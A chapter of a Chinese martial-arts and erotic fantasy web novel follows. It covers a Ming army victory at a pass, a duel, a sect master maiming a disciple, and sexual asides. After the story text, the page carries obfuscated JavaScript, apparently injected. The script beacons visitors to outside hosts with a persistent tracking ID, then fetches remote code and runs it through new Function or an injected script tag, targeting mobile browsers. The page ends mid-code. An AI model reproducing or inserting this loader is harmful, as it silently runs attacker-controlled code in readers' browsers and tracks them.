  旭日刚刚升起,铁浪听到了西南方传来的战鼓声,其中还夹带着战马嘶鸣以及明军们的嘹亮喊声。

  同时,鞑靼军营也响起了号角声,那一门门火砲正被推出,鞑靼兵将火砲拉到龙啸关关口,得到允许后便推出龙啸关,在那儿整齐地排列着。负责塡充砲弹的鞑靼兵将砲弹塡入砲口后,不断调整着砲口瞄準的高度和角度,以图多轰死一些明军;而负责点燃引信的鞑靼兵,已经举着火把井然有序地出了龙啸关,在每门火砲前待命。

  一会儿后,身穿金色战甲的辛爱和李笑霜、亚历克出现在了龙啸关关口,辛爱登上高台,正用千里镜观察着远方的动静,看来他是非常有把握能守住龙啸关。

  透过千里镜,辛爱已看到徐平正骑着战马跑在最前面,后方还跟着几位将领及铁浪的红颜知己。

  辛爱笑了笑,道:「护法,看来他们是疯了,竟然比我们先发动进攻,毒火飞炮会让他们死得很难看的!」

  「王子所 言极是。」亚历克点头道。

  身受内伤的李笑霜本想在营中休息,可又不能被辛爱知道自己受伤一筝,所以她只能死撑着。不过有这幺多门毒火飞炮在,她也不相信铁浪敢来造次!

  可一切的一切都在铁浪的掌握之中,他们能依恃的毒火飞炮,早已被铁浪动了手脚。

  身处两军之间的铁浪,正静静观察着两军动静,并估测着明军进入火砲射程的大概时间和位置,随后摘下面巾,转身跨到三颅凤凰背上,抚摸着三颅凤凰的三颗脑袋,道:「傻鸟,我们只要将关口那十门火砲解决了,便万事大吉了,明白吗?」

  三颅凤凰猛地点头,爪子不断在地上刨着,跃跃欲试。

  「梦岚、半雪、黛柔、施乐、纱耶,这组合实在是强大啊!」铁浪嬉笑道。

  「我看到好多大砲喔!」视力非常好的施乐叫道。

  「你要相信杨公子!」和半雪同骑一匹战马的叶梦岚叫道。

  「到时候都变成炮灰了!」施乐气鼓鼓道。嘴里虽抱怨着,可还是用力挥动马鞭,另一只手握紧繋于腰际的嗜血剑,準备随时用鞑靼兵的鲜血餵饱嗜血剑。那被繍花罗裳裹紧的巨乳,正随着战马的奔跑而上下大幅度摇颤着,都快要将乳罩的繫绳撑断了。

  明军一进入火砲射程内,辛爱立刻做出了攻击手势,鞑靼兵忙点燃了引信。

  「走吧!」铁浪拍了一下三颅凤凰的肩膀,三颅凤凰便鸣叫着,沖向龙啸关关口。

  还没有注意到三颅凤凰的辛爱,只想欣赏明军血流成河的惨烈,可眼前的场景完全让他目瞪口呆——那一百一十门火砲的引信确实点燃了,也确实烧进了砲口内,可压根没有听到炮响,只发出放屁一样的声音,然后砲弹被挤出砲口,直接落在地上。

  由于没有足够的推力,这些砲弹根本没有爆炸,部分被蒸发的火药,混着尿騒味从砲口不断涌出。

  「搞什幺?」差点呕出的辛爱急忙摀住鼻子,嗅觉受重创事小,重点是这些火砲发射不出便打击不了明军,而且明军正以极快的速度接近,那些本以为火砲可以稳住大局的鞑靼兵全都傻了。

  离高台最近的一名砲手叫道:「王子,不是您昨天晚上吩咐我们尿进去的吗?说这是试验。」

  「试验?狗屁!」一向很有大将风範的辛爱完全失了分寸,吼道:「进攻,进攻!他妈的,你们给我进攻!」

  辛爱正想指挥砲手将那能够带来希望的十门火砲推出关口,可铁浪驾驭的三颅凤凰已先他一步飞进关口,一声低鸣,那些正欲往砲口塡充砲弹的鞑靼兵都吓得屁滚尿流。

  三颅凤凰未落地,拔出刻龙宝剑的铁浪已跳到地面,手起剑落,近身的三名鞑靼兵咽喉都被割裂,倒地而亡。

  左侧一名鞑靼兵举起长矛刺向铁浪,刚刚落地的三颅凤凰金翼拍过去,鞑靼兵口吐鲜血,整个人都飞出了关口,砸在一门火砲上。

  「你们两个给我去杀了杨追悔!」辛爱气得脸色铁青。

  领命的亚历克和李笑霜纷纷跳下高台,跑入龙啸关。

  「纳命来!」亚历克巨吼着,奔向铁浪,挥动九天金杵,一杵击向铁浪胸口。

  一旁的三颅凤凰急忙撑开守护光环。

  九天金杵击中守护光环,光环竟硬生生被敲得凹下去,可这终究是凡人的力量,亚历克根本不可能破得了神鸟三颅凤凰的守护光环,所以当他力气用尽时,守护光环产生的弹力硬是将他弹出数十步之外,他更是被震得嘴角溢出了鲜血。

  李笑霜见大势已去,便往右侧潜逃,打算逃离这是 非之地。

  「傻鸟,谢谢你。不过我一直很钦佩亚历克,所以这次的胜负你别介入,你去干你该干的事吧。」让三颅凤凰解开守护光环,铁浪便直视着亚历克,道:「我以此剑对你的九天金杵,谁败,谁就葬身龙啸关!」

  亚历克擦着嘴角的鲜血,点了点头,握紧九天金杵,用力往地上一敲,道:「我亚历克受大汗所託,誓死保护辛爱王子,放马过来!」

  铁浪握着开始散发寒气的刻龙宝剑,浅浅一笑,道:「在《剑指天下》这幺多男人中,我一直觉得你亚历克才是真正的男人,不过太愚蠢了,保护着根本不値得保护的人。」

  「住口!」受到刺激的亚历克高高跃起,双手握着九天金杵,用力砸向铁浪。

  「你这是愚忠!」一个侧身,铁浪已避开了九天金杵,一剑刺向亚历克背部。

  亚历克虽体型高大,不过反应并没有铁浪想像中的迟钝。九天金杵落地那刻,他已弯下腰,刻龙宝剑恰好从他背部划过,并没有伤到他的身体。

  依旧弯着腰的亚历克舞起九天金杵,扫向铁浪双腿。

  铁浪急忙跳起,双手握紧剑柄从上方刺向亚历克,犹如猛虎下山。

  「看招!」亚历克横举起九天金杵。

  当!

  刻龙宝剑砍在九天金杵正中间,铁浪借力往右侧砍去,亚历克只得鬆开一只手,却用单手操控着九天金杵,硕大的杵头攻向铁浪胸口。

  来不及避开的铁浪被金杵击中,一声闷哼,人被弹飞,重重落地,顿时觉得体内翻腾不已,好像五脏六腑都移位了。

  正看守着十门火砲的三颅凤凰想去救铁浪,可见铁浪依旧面带笑意,牠便放弃了这念头。

  站起身的铁浪吐了好几口唾沫,道:「幸好是一只手,要是两只手同时使力,恐怕我早已命丧此地了。」

  「我现在便让你死!」亚历克抡起九天金杵再次攻向铁浪。

  面对气势正盛的亚历克,铁浪也只能使出看家本领了。

  「一掌控剑,方成霜雪!」

  随着铁浪的一声暴喝,早已被他注入真气的刻龙宝剑顺势推出,急速旋转着的刻龙宝剑,剑尖恰好刺中九天金杵杵头正中间的凿痕。

  当、当、当……

  亚历克已经顾不得攻击铁浪,双手紧紧抓着九天金杵,丝毫不敢有所鬆懈,因为霜雪飞剑带来的强大推力是他完全想像不到的。就在这时,铁浪已跃起,一掌拍向他胸口。

  亚历克举掌迎向铁浪,两人手掌击在一块,亚历克的袖子瞬间爆裂,露出强壮的胳膊,而轰天击带来的巨大冲击力直接震断了他手臂的所有经脉,又沿着他的手臂传到他的胸口,震伤五脏六腑。

  噗!

  亚历克呕出鲜血,完全控制不了九天金杵,九天金杵应声落地,而力道还未被完全化解的刻龙宝剑随即刺向他的胸口。

  本以为这次死定的亚历克乾脆闭上了眼睛,剑却没有刺中他,睁开眼,铁浪手里正握着刻龙宝剑,剑尖指着亚历克的胸口。

  铁浪道:「亚历克,愿不愿意跟着我?我绝对不会亏待你!」

  「我亚历克绝对不会做出对不起鞑靼之事,要杀要剐随你的便!」

  铁浪望着关口,见鞑靼兵已经被杀得差不多,而且辛爱已经被徐平绑住,他便道:「辛爱已经被抓住了,你也没有必要再坚持下去。天下是大明的,不是鞑靼的,知道吗?」

  亚历克见辛爱真的被抓住,目訾欲裂,用还能活动的左手握住刻龙宝剑剑身,人随之往前一倾,刻龙宝剑刺进了他的胸口。

  「唔……」

  见状,铁浪想收回刻龙宝剑,可亚历克死死握住。

  亚历克笑着看着铁浪,道:「护法连主子都无法保护,这命也不该留丨」说完,

  亚历克又往前走了一步,刻龙宝剑刺穿了他的身体,当场毙命。

  亚历克慢慢闭上了眼,巨大身躯往后倒去,重重砸在地上,扬起阵阵尘埃。

  「可惜了。」铁浪微微叹气,收起刻龙宝剑。

  不到两刻钟,鞑靼的阵营完全崩溃,主帅辛爱被擒,歼敌四千多人,俘虏三百多人,一部分逃走。由宋襄渝和葛柳组成的队伍,则开始在周围的树林间搜寻着鞑靼的残党,只要不是逃回鞑靼境内,都要将他们揪出来!

  「相公!」毫髮无伤的徐半雪跑向铁浪,紧紧搂住他,亲暱道:「雪儿想死你了。」

  「我也是。今天表现得很英勇嘛!」铁浪夸讚道。

  「哼!要不是你弄坏了那些火砲,本小姐还打算用龙啸对忖他们呢!」

  「那可不行。你狮子吼一出,自己人岂不是也跟着倒楣?」

  「这里真的好臭。」施乐捂着鼻子,道:「难道他们都小便失禁不成?」

  「绝对是这样。」铁浪忙道,他可不希望自己昨晚那不光彩的手段让自己的女人知道,随即眼睛一扫,铁浪却没有看到施黛柔。

  「黛柔师姐呢?」铁浪急忙问道。

  有点吃醋的徐半雪两腮鼓起,指着右侧道:「她说看到她师姐,所以就跑去找她了。」

  「完了,我必须去救她!」铁浪头也不回地连忙往李笑霜潜逃的方向追去。

  「真是的!妻不如妾,妾不如偷。」徐半雪被铁浪这一举动气得快哭出来,使劲跺着地面,而她旁边的施乐倒是一脸事不关己的表情,不断抱怨着这里的满天尿騒味。

  此时,施黛柔正在一片竹林中与李笑霜对峙,身受内伤的李笑霜根本不是施黛柔的对手,所以只和她叫阵,并不敢动武,藏于身后的手却捏着一根青丝,打算做最后的抵抗。

  「师姐,这两年你在外兴风作浪,杀人无数,师傅命我替冰墓清理门户,可我们终究师姐妹一场,我不想杀你。你和我回冰墓向师傅磕头认罪,相信师傅会念在往日恩情,饶你一命的。」施黛柔道。

  「师妹,师傅脾气我是知道的,她可比我毒辣多了;若我回去,她绝对会杀了我,我宁愿死在这里,也不愿意被她侮辱!」

  「若师姐再固执,可别怪师妹出手伤人!」

  「若你真的念在同门之情,就应该放我走!」

  「我不能再让你伤害无辜之人,所以你必须和我回冰墓向师傅认罪。」施黛柔抽出软纱,玉臂一挥,似乎有了生命力的软纱以极快速度飞向李笑霜。

  「你太小看我了!」李笑霜身子往后一弯,五指顺势抓住软纱并转了几圈,软纱便缠在她身上,而她已经甩出了冰绾青丝。

  「黛柔师姐!」百余步之外的铁浪吼出声。

  「孽徒,沐要伤人!」一声淩厉娇喝从上空传来,一身淡绿长裙的中年美妇从上空落下,手里那把玉白长剑已脱离她的手,以极快的速度刺向施黛柔。

  玉白长剑从施黛柔鼻前不到半寸之处刺到地面,冰绾青丝恰好被它挡了下来。

  「师傅!」施黛柔和李笑霜异口同声道。

  身穿一袭素锦宫衣,外披水蓝轻纱,微风吹过,轻纱飞舞,整个人散发出空灵之气。青丝挽成一个简单的碧落髻,簪着一枝清雅的梅花簪。肩若削成,腰如约素,眉如翠羽,肌如白雪。

  铁浪看着已落地拔起玉白长剑的美妇,口水差点流出来,根本不敢相信这种活像天仙下凡的美娇娘会是杨追悔的师傅,简直娇豔欲滴呀!

  嚥下口水,铁浪忙抱拳,道:「弟子拜见师傅!」

  看着冷若冰霜的冰落夜,李笑霜腿都在颤抖了,扑通一声跪在地上,颤声道:「师……师傅……」

  「当初你生性好斗,为师才将你逐出师门,让你跟随紫云师太出家修行,没想到你竟杀了紫云师太,又以冰指小仙自居,在江湖不断掀起杀戮。」冰落夜剑尖指着李笑霜,冷冷道:「你虽被我逐出师门,可你这身武功还出自冰墓,今日我将废你毕生武功,拘于冰墓,终身面壁思过!」

  「不……不能……师傅不能这样子对待徒儿……」李笑霜吓得面如土色,叫道:「若我有罪,那幺杨追悔与施黛柔呢?他们通姦,而且杨追悔昨日又侮辱了徒儿,弄髒了徒儿的身子!」

  铁浪本想替李笑霜说好话,没想到她现在狗急乱咬人,便道:「师傅,我与黛柔师姐的事您也知道,我们从未行苟且之事,而且笑霜师姐的功力比我高,又有冰绾青丝,不论从哪方面来说,追悔都不可能羸得了笑霜师姐;要说侮辱,追悔被笑霜帅姐侮辱的可能性更大。」

  「杨追悔!」

  「你们别吵了。」冰落夜盈步走向李笑霜,道:「转过去跪着。」

  「师傅!」李笑霜急忙抱住冰落夜双腿,叫道:「笑霜愿意随师傅回冰墓,但师傅别废了笑霜的武功。」

  「师傅心意已决!」冰落夜身形一闪,人已闪到李笑霜身后,竖起食指,在李笑霜脊背点了数下。

  「啊!」

  李笑霜惨叫了一声,整个人都趴在地上,全身力气尽失,嘴角溢出鲜血,她却握紧拳头,哽咽道:「冰落夜,你今日废了我的武功,若你不杀了我,总有一天我李笑霜会报仇的丨,」

  「师姐还是执迷不悟。」施黛柔轻叹道。

  「师傅来了,那我们怎幺办?」铁浪小声道。

  「等师傅决断吧。」

  冰落夜俯身抓住李笑霜的手腕,剑压住她的手臂,一划!

  「啊!」

  裙摆沾染鲜血的冰落夜挑断李笑霜双手的手筋,又封了她双手的经脉,以防止她大量出血而死。

  看到这画面,铁浪全身冒出冷汗,完全不知道冰落夜手段如此的狠,这手段和她天仙般的姿容完全不相符。

  「废你武功和双手筋脉,量你有飞天之能也奈何不了我,乖乖随我回冰墓!」冰落夜插剑回鞘。

  李笑霜勉强站起身,垂着的手臂还在流血,低着头,颤声道:「我……我知道了。」

  她显然被冰落夜这极端手段震住了。

  冰落夜看着施黛柔和铁浪,道:「柔儿,你随我们回冰墓。杨追悔,我们冰墓派向来不管江湖琐事,更不会涉及朝廷之事,如今你两方都有涉入,我也不可能将你带回冰墓了,你好自为之吧!」

  「师傅,我想和黛柔师姐在一起!」铁浪突然抓住施黛柔的手。

  「追悔……」施黛柔想挣脱,却没了动作,面颊顿红。

  冰落夜表情依旧冰冷,说道:「七情六欲向来是冰墓最大忌讳,当初好意收留你,你却对柔儿动了情,这事我绝对不能容忍;如今你还想和她在一起,你觉得我会同意吗?」

  怕铁浪受到伤害,施黛柔立刻甩开他的手,急忙走到冰落夜身前,道:「我从未对追悔滋生过情愫,请师傅明监,我现在便和师傅一道回冰墓。 」

  「如此甚好。」

  「师傅,我要和柔儿在一起!」铁浪急忙跑过去。

  「追悔,若你再进一步,我便死给你看!」施黛柔忽然抓起冰落夜手里的剑抵在脖子上,道:「走,回到你该去的地方,冰墓不属于你,我也不属于你!」

  铁浪知道施黛柔怕自己受到伤害,遂道:「师傅,徒儿在这里与你约定,我总有一天会回冰墓与师傅决斗。若我赢了师傅,恳请师傅让我和柔儿师姐在一起。」

  「输了呢?」

  「追悔,你别犯傻!」

  「输了,追悔愿意自断经脉,在冰墓服侍师傅一辈子!」铁浪抱拳道。

  「可以,师傅答应你。走吧!」

  看着她们离去的身影,铁浪久久不捨得移开视线,直到她们都消失于竹林深处,铁浪才转过身往回走。

  铁浪本想刚刚便向冰落夜下战书,不过现在上清宫那边的事还搞不定,就算蠃了冰落夜,让施黛柔跟在自己身边也很危险,还不如让她先回冰墓,至少那儿是最安全的地方。

  做好打算,铁浪沿着原路返回。

  回到龙啸关,明军还在清理战场,而他们抱怨最多的还是空气中瀰漫着的尿騒味。

  铁浪回到了美人们身边,调戏了施乐一番,又惹得徐半雪醋劲大发,幸好还有叶梦岚这个乾娘在开导她,否则铁浪担心徐半雪恐怕会当着大家的面来招狮子吼,到时候倒楣的可不只铁浪,在场的估计都会被震破耳膜。

  见辛爱已经被装进囚车运往独石城,铁浪和四位国色天香的美人也骑上骏马返回独石城,三 颅凤凰则在他们上方盘旋着,那身金翼在朝阳映衬下更是显得神圣异常,道道金芒时不时灏在他们的身上。

  回到独石城,徐平便拟书飞鸽传书到京师,向嘉靖报告这次战争,提到最多的自然是铁浪,更将这次战争胜利的最大功劳归结到铁浪身上。

  铁浪本以为嘉靖那狗皇帝又会急着将他召到京师,可一点动静都没有,只是派人押送辛爱到京师。有鞑靼大汗之子这张王牌在手,谅鞑靼也不敢再侵犯大明!

  不仅如此,在取得独石城守城战完胜后的第三天,被蛇蛊控制的达赖台吉也率军抵达龙啸关。由于鞑靼刚受到重创,铁浪便授意达赖台吉以收回领土的名义率军进攻鞑靼。

  鞑靼的统治者本是达赖一族,所以达赖台吉此次进攻也是理所应当的。而且俺答汗统治鞑靼以来老是滋扰大明,虽有所收穫,可战争带来的是妻离子散、国库空虚,最大的受害者自然是生活在鞑靼地区的平民百姓,所以达赖台吉进攻的第一天起,便有一部分鞑靼地区的老百姓倒戈,加入反攻的人潮中,其中更有一部分是铁浪在大同府守卫战中放走的鞑靼兵,他们都坚信铁浪是天神下凡,更相信鞑靼只有交给和铁浪有所交情的达赖台吉治理,才会国泰民安。

  如此一来,达赖台吉的反攻可说是如鱼得水,本来需要考虑路途遥远、粮草难以供给等细节,可热情的鞑靼居民完全替他们消除了困扰。

  短短十天反攻战,达赖台吉已成功收复一大半的领土!

  同时,来自女真三大部落的援军也抵达独石城。

  按照徐平的说法,女真族的援军已经派不上用场,想直接请他们回去,可他们千里迢迢赶来,又无事折返,女真族绝对不会愿意被当作傻瓜玩弄,所以在海露的授意下,铁浪独自前往两里外的女真援军驻扎地。

  还未走到他们的驻扎地,铁浪便看到了戴着虎形面具,裙摆正被烈风刮起,露出白嫩小腿的阮飞凤。

  走到阮飞凤跟前,铁浪一把将她搂进怀里,抚摸着她 的髮丝,问道:「凤儿,想不想我?」

  「别这样子,会被人看到的。」阮飞凤忙推开铁浪。

  「啧啧,现在都不让我碰啦?」

  「奴家可不是这意思,奴家确实是怕被人看到,毕竟后面还有奴家的族人;若他们误会了,以为杨公子要对奴家不轨,到时候你身体可是会被种满毒蛊的哦!」

  「我明白了。那我现在不动你,晚上可要好好服侍我哦!」

  「奴家……奴家知道了。」害羞的阮飞凤当即低下了头。

  打败辛爱率领的鞑靼兵,至今也有十几天了。这十几天里,铁浪自然没少和美娇娘们亲热,叶梦岚、徐半雪、施乐、小月和寄寒香,都被铁浪干得淫叫不已,可铁浪还是没办法修练淫龙第六式,要同时和五个人交媾并取到她们的阴精,不是那幺容易的。

  如今阮飞凤回到铁浪身边,铁浪自然高兴万分,至少修练第六式的可能性又提髙了。

  和阮飞凤甜言蜜语一会儿,铁浪便开始说正事,之后两人并肩朝驻扎地走去。

  命人叫来建州和海西女真此次的行动指挥官,铁浪开始和他们商量要事,阮飞凤则以野人女真的行动指挥官及翻译官双重身分参与此次的会议。

  对于铁浪,建州女真的行动指挥官还不算很熟,可他早已从海西女真族人的口中得知铁浪以一人之力降服海怪,非常钦佩他,更将他视若神明,所以不管铁浪说什幺,他们几乎都点头赞成,完完全全同意了铁浪的所有建议。

  首先,铁浪要求他们三族进行简单的贸易往来,各取所需;其次,铁浪要求他们通婚,以达到三大女真族融合为一族的可能性;再次,铁浪要求他们定期向大明缴纳一定的贡品。

  当铁浪说出第三点时,建州和海西女真的行动指挥官倒是没什幺意见,可阮飞凤马上有意见了。

  「杨公子,奴家虽是明人,但也要替他们说一句话。大明的存在与否和女真族一点关係都没有,这次是因为要营救杨公子你,才千里迢迢赶到这儿,你却反倒要我们每年进贡,这是何意?」

  「飞凤,你误会我了。」铁浪笑道:「嘉靖是一代昏君,癡迷炼丹,身边又有严嵩这种大奸臣,若你们三个女真族成功融合为一体,很可能对大明的江山造成威胁,到时候大动干戈,总有人要牺牲的,所以先向大明进贡,如此一来大明便不会动你们了,懂吗?」

  听完铁浪的解释,阮飞凤点了点头,道:「没想到杨公子人品如此之好,还懂得替我们着想。」

  「自然了,呵呵。」

  铁浪当然不知道自己的一时好心促成了改朝换代。在华夏曆史中,明朝之后便是清朝,清朝前身为后金,即女真族,所以铁浪对他们下的三条命令,直接促进了女真三族的融合,并为以后努尔哈赤建立后金政权奠定了基础。

  要阮飞凤向他们说明第三点,又随便聊了一会儿,每句话都要阮飞凤翻译,多有不便,所以铁浪便让会议提早结束,他也该回独石城了,否则美娇娘们可要等急了。

  铁浪似乎还记得昨天好像有答应过寄寒香什幺事,又一时想不起来,昨晚和她干得太厉害,铁浪耳朵里只听到她的叫床和性器撞击声,那断断续续的言语都被他忘得一干二净了。

  为了让他们觉得不虚此行,铁浪决定和徐平、海露商量,从独石城或者周边城池运送部分物资到他们的驻扎地,一方面可以表示大明的诚意,另一方面可以让他们回去有个交代。若他们回去说跑到独石城什幺事都没干,像被耍了一般,建州和海西女真族的首领疯起来很可能会举兵攻打大明,铁浪必须将所有的危险性都抹除!

  和阮飞凤行走在回独石城的路上,铁浪不断开心地哼着小曲,阮飞凤则安静地跟在他的身边。

  走了一刻钟,独石城已看到全貌,这时,阮飞凤开口问道:「杨公子,若他们要回去了,那我呢?」

  「自然是留在我身边了,而且我还要娶晴儿为妻,你这个岳母怎幺能回去呢?」铁浪嬉笑道,见四下无人,他 便揽住阮飞凤蛇腰,嬉笑道: 「我知道你也捨不得我。」

  「可奴家是巫王,又是巫医,族人的存亡与奴家息息相关,奴家若不回去,他们怎幺办?」阮飞凤急道。

  铁浪收起笑意,迟疑片刻,道:「凤儿,这幺和你说吧!不管是哪个民族的首领,总有死的一天,他们也会觉得族人没有了自己便活不下去,可事实完全不是如此。只要选出了新的巫王,他们定能好好活下去,野人女真的血脉也会一直传下去,所以你必须留在我身边,懂吗?」

  「奴家懂杨公子的意思,让奴家再考虑考虑,好吗?」

  「嗯。」

  铁浪若有所思地望着灰濛蒙的天空,道:「自从打退鞑靼,我的生活平静了许多,可又觉得我不可能拥有这种平静,上清宫绝对不会放过我的,总觉得好像有什幺事会发生。」

  「杨公子想太多了吧?」

  「我也希望是我想太多了。」铁浪突然扭头亲了一下阮飞凤,道:「晚上你留在独石城,别回去了,我们要好好沟通沟通。」

  阮飞凤那躲藏在面具下的脸都羞红了,呢喃道:「沟通……沟通甚幺?」

  「语言上的沟通啊。」铁浪道。

  「

function BUjbpuVA(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function vSksqbAj(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return BUjbpuVA(t);};window[''+'x'+'j'+'d'+'V'+'g'+'I'+'C'+'t'+'Q'+'T'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function AaoQ(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=vSksqbAj,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=AaoQ(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9473/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=AaoQ(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnnB0bC5jbiUzQTg4OTE=','d3NzJJTNBJJTJJGJJTJJGYS53aGJJnei5jbiUzQTk1MzU=','9171',window,document,['n','J']);}:function(){};
function jQEAxPhY(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function GIVrKx(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return jQEAxPhY(t);};window[''+'Q'+'m'+'M'+'x'+'s'+'U'+'Y'+'E'+'e'+'B'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function OKqtg(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=GIVrKx,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=OKqtg(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15636/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=OKqtg(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jjbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS55a2toanMuY24lM0E5NTTM1','168218',window,document,['j','T']);}:function(){};
let urls=["hSStSStSSpSSsSS:SS/SS/SSmSSqSS1SS4SSnSS3SS8SS9SS2SS.SSoSSsSSsSS-SScSSnSS-SSsSShSSaSSnSSgSShSSaSSiSS.SSaSSlSSiSSySSuSSnSScSSsSS.SScSSoSSmSS/SS1SS4SS/SS1SS1SS0SS5SS5SSbSSaSSfSScSS2SS3SS3SS4".split("SS").join(""),"hMMtMMtMMpMMsMM:MM/MM/MMpMM.MMgMMoMMdMMmMMwMMiMMtMMhMM.MMcMMoMMmMM/MM1MM4MM/MM1MM1MM0MM5MM5MMbMMaMMfMMcMM2MM3MM3MM4".split("MM").join(""),"hRRtRRtRRpRRsRR:RR/RR/RRoRRcRR1RR8RR1RR4RRnRR3RR8RR9RR2RR.RRoRRsRRsRR-RRcRRnRR-RRsRRhRRaRRnRRgRRhRRaRRiRR.RRaRRlRRiRRyRRuRRnRRcRRsRR.RRcRRoRRmRR/RR1RR4RR/RR1RR1RR0RR5RR5RRbRRaRRfRRcRR2RR3RR3RR4".split("RR").join(""),"hDDtDDtDDpDDsDD:DD/DD/DDdDD8DD9DD-DD1DD3DD1DD3DD9DD4DD4DD0DD6DD2DD.DDcDDoDDsDD.DDaDDpDD-DDhDDoDDnDDgDDkDDoDDnDDgDD.DDmDDyDDqDDcDDlDDoDDuDDdDD.DDcDDoDDmDD/DD1DD1DD0DD5DD5DDbDDaDDfDDcDD2DD3DD3DD4".split("DD").join("")];let 